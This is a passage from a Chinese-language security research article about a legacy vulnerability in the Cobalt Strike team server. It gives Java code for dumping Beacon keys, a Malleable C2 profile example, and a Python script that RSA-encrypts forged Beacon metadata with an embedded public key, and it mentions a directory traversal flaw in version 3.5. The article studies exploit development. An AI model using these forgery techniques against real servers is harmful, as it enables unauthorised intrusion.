互联网对红队利器Cobalt Strike一个历史遗留漏洞的研究( 二 )
}
else {
System.out.println("Could not find .cobaltstrike.beacon_keys file")
}
}
catch (Exception exception) {
System.out.println("Could not read asymmetric keys")
}
}
}
运行时 , 输出将如下所示:
本文插图
转储密钥
应该注意的是 , 这完全只是为了在编写漏洞利用程序时进行调试 。 在现实世界中 , 由于密钥是通过RSA安全协商的 , 而Beacon只有公共密钥 , 因此无法解密现有的 Beacon通信 。 但是 , 如果你拥有公钥(可以通过checksum8下载URL检索到) , 则可以通过伪会话对任务进行加密和解密 。
Beacon通信加密和元数据
加密 , 解密和结构
来自Beacon的元数据根据可延展的C2配置文件中的设置发送 。 这允许操作者自定义流量的各种属性 , 例如元数据blob的发送位置(例如 , 在标头或cookie中)以及如何对其进行编码 。 以下是来自Cobalt Strike博客示例 。
https://www.cobaltstrike.com/help-malleable-c2
在此示例中 , 将以Base64编码将元数据发送为名为“user”的Cookie 。
Malleable C2 Config
http-get {
set uri "/foobar"
client {
metadata {
base64
prepend "user="
header "Cookie"
}
}
以下HTTP请求捕获显示了发送给Base64的Cookie头中的Base64编码的元数据blob , 这是默认设置:
本文插图
Beacon元数据加密使用带有PKCS1填充的RSA , 以下是Python中使用暂存器公钥加密Beacon元数据的示例:
import M2Crypto
import base64
import binascii
PUBKEY_TEMPLATE = "-----BEGIN PUBLIC KEY-----{}-----END PUBLIC KEY-----"
plaintext = "0000BEEF00000056D48A3A7104FC17544D5A3752C6EEAED4E404B5015FAD878000000A0000000431302E30093139322E3136382E3230302E313031094445534B544F502D3337325251544D0961646D696E0972756E646C6C33322E657865"
buf = M2Crypto.BIO.MemoryBuffer(PUBKEY_TEMPLATE.format("MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhOfC4TICevrbgiUVK5kmvU8aNQNiCfccHxIOV4wzjOn5DpaC49NLoKMsS2fVnMI/f+cbyuqfrXMYmUX8eZDWkmflrBFNOPG8hr8oqhm1EiIvK9S+CsOuLGsEOmefqYk+Gj1nfnJ1uO9ELRv1U+OhmQ77w4u0AZWHPSNr1STYhZQIDAQAB"))
pubkey = M2Crypto.RSA.load_pub_key_bio(buf)
ciphertext = pubkey.public_encrypt(binascii.unhexlify(plaintext), M2Crypto.RSA.pkcs1_padding)
print (base64.b64encode(ciphertext))
解密后(使用从测试团队服务器中提取的私钥) , 元数据如下所示:
解密的元数据Blob
所有解密的元数据blob都以8字节为前缀 , 该字节必须始终存在 。 这8个字节是magic 48879(0xBEEF) , 后跟数据大小:
本文插图
Beacon元数据结构
因此 , 我们现在可以加密/解密元数据 , 现在进入解析 。
Beacon元数据解析
以下Python代码显示了如何分析来自Cobalt StrikeBeacon的元数据 。 在Cobalt Strike<4.0上 , 元数据字段(除了前16个字节之外)由制表符分隔的字符串组成 。 这导致IP地址被视为(未经完整性检查)字符串 , 在版本3.5中会导致目录遍历问题 。 但是 , 在更高版本上 , 使用正则表达式验证IP地址字段以确保它确实是有效的IP地址 。
推荐阅读
- 字母哥|强强对话,字母哥狂砍36+18不敌红队5人得分上双,哈登威少55分
- 互联网乱侃秀|专注28nm或以上芯片,或探索去美化,中芯国际投270亿再成立公司
- 互联网支付宝搜索流量全面开放:麦当劳、肯德基、星巴克等抢先升级“品牌直达”
- 互联网支付宝:首页搜索“品牌直达”能力正式面向全行业品牌商家开放
- 干衣机|米家互联网热泵干衣机发布:35分钟快烘 3499元
- 亚马逊建设卫星互联网系统获批
- 行业互联网同比增长26.4%,上汽大通MAXUS 7月热销超万台
- 行业互联网澳柯玛,智慧冷链疫苗存储,内循环经济智能家居,叠加芯片概念
- 新华网|“中国互联网联合辟谣平台”学习强国号上线运行
- 科技微视界|助力中小企业进入移动互联网,“MUP移动营销云”
